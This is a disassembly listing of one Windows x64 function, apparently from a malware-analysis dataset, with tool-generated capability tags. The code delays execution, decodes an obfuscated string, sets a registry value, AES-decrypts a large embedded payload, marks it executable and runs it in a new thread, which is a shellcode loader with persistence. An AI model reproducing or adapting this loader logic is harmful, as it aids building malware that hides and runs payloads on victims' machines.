Function at 0x140002bc0
Capabilities:
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get common file path
Hash data via wincrypt
Initialize hashing via wincrypt
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x140039040]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov r14d, 1
mov qword [rbp - 0x18], 0xffffffffee1e5d00
mov edx, r14d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
xor r13d, r13d
lea rdx, [rbp - 0x18]
mov dword [rsp + 0x28], r13d
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.bestone
mov dword [rbp + 0x30], 0x150a31
lea rcx, [rbp + 0x10]
mov dword [rbp + 0x34], 0x7170f18
mov dword [rbp + 0x38], 0x6392f39
mov dword [rbp + 0x3c], 0x160d170d
mov dword [rbp + 0x40], 0x321b121c
mov dword [rbp + 0x44], 0x1d0c3539
mov dword [rbp + 0x48], 0x16190010
mov dword [rbp + 0x4c], 0x130393e
mov dword [rbp + 0x50], 0xc001c1d
mov dword [rbp + 0x54], 0x1d112511
mov dword [rbp + 0x58], 0xb0d0c1d
mov dword [rbp + 0x5c], 0x1b3d282f
mov byte [rbp + 0x60], 0xb
call fcn.140003390
lea rax, [rbp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r14 + 0x1b]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov r12, qword [rbp + 0x28]
mov r15, qword [rbp + 0x10]
test eax, eax
je 0x140002d0e
call fcn.1400036f0
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140004450
movzx edx, ax
mov rcx, rbx
call fcn.1400042a0
mov rcx, rbx
call fcn.140004140
jmp 0x1400031e5
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.140003390
mov rcx, qword [rbp]
movabs rbx, 0x7ffffffffffffffe
mov rax, rbx
sub rax, rcx
cmp rax, r14
jb 0x14000325b
cmp qword [rbp + 8], 7
lea rax, [0x140034078]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x10]
cmova r9, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.140004800
lea rcx, [rsp + 0x60]
call fcn.140002470
mov r9, rax
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.1400045e0
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140002dc3
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dbe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003261
call fcn.1400077cc
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140002e05
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e00
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003261
call fcn.1400077cc
mov rdi, qword [rbp + 0x20]
lea rsi, [rbp + 0x10]
cmp r12, 7
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
cmova rsi, r15
cmp rdi, rbx
ja 0x140003267
cmp rdi, 7
ja 0x140002e47
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 7
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140002ef5
mov rax, rdi
or rax, 7
cmp rax, rbx
jbe 0x140002e63
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x140002e95
mov ecx, 0xa
mov rbx, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x140003255
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002ec4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003255
mov rcx, rax
call fcn.1400076c0
mov rcx, rax
test rax, rax
je 0x14000326d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002ed3
test rcx, rcx
je 0x140002ed0
call fcn.1400076c0
jmp 0x140002ed3
mov rax, r13
lea r8, [rdi*2 + 2]
mov qword [rsp + 0x40], rax
mov rdx, rsi
mov qword [rsp + 0x50], rdi
mov rcx, rax
mov qword [rsp + 0x58], rbx
call fcn.140026ad0
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x80]
call fcn.1400034d0
mov r9, rax
lea r8, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.140002950
mov rbx, rax
test rax, rax
je 0x140002fb1
cmp qword [rbp - 0x28], 7
lea rdi, [rbp - 0x40]
lea rcx, [rsp + 0x60]
cmova rdi, qword [rbp - 0x40]
call fcn.140002470
mov rdx, rax
cmp qword [rax + 0x18], 7
jbe 0x140002f44
mov rdx, qword [rax]
mov eax, dword [rbp - 0x30]
mov r9d, r14d
xor r8d, r8d
mov rcx, rbx
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140002fa8
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fa3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003273
call fcn.1400077cc
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 0x18
mov dword [rbp - 0x60], 0x509610
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rdi, str._O6y
test eax, eax
je 0x14000308d
mov rcx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000308d
mov rcx, qword [rbp - 0x50]
lea rdx, [0x140039c70]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000308d
mov r8, qword [rbp - 0x50]
lea rax, [rbp - 0x48]
mov rcx, qword [rbp - 0x58]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x14000308d
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x14000308d
mov rcx, qword [rbp - 0x58]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor ecx, ecx
mov edx, 0x509610
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400030b8
lea ebx, [rax - 1]
lea rdi, str.Failed_to_Allocate_memory___u__n
jmp 0x14000311d
mov r8d, 0x509610
mov rdx, rdi
mov rcx, rbx
call fcn.140026ad0
lea r9, [rbp - 0x20]
mov edx, 0x509610
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400030f1
lea ebx, [rax - 2]
lea rdi, str.Failed_to_change_memory_protection___u__n
jmp 0x14000311d
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140003132
lea ebx, [rax - 3]
lea rdi, str.Failed_to_Create_the_thread___u__n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.140001130
mov r14d, ebx
jmp 0x140003157
mov rdx, rbx
lea rcx, str._n_nalloc_mem_:__p_n
call fcn.140001130
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.1400104b8
mov r14d, r13d
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140003197
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003192
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000324f
call fcn.1400077cc
mov rdx, qword [rbp + 8]
movdqa xmm0, xmmword [0x140034130]
mov word [rbp - 0x40], r13w
movdqu xmmword [rbp - 0x30], xmm0
cmp rdx, 7
jbe 0x1400031e5
mov rcx, qword [rbp - 0x10]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031e0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000324f
call fcn.1400077cc
cmp r12, 7
jbe 0x14000321c
lea rdx, [r12*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x140003214
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000324f
mov rcx, r15
call fcn.1400077cc
mov eax, r14d
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.1400076a0
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140010874
int3
call fcn.140001290
int3
call fcn.140001330
int3
call fcn.140010874
int3
call fcn.140001330
int3
call fcn.140010874
int3
call fcn.140010874
int3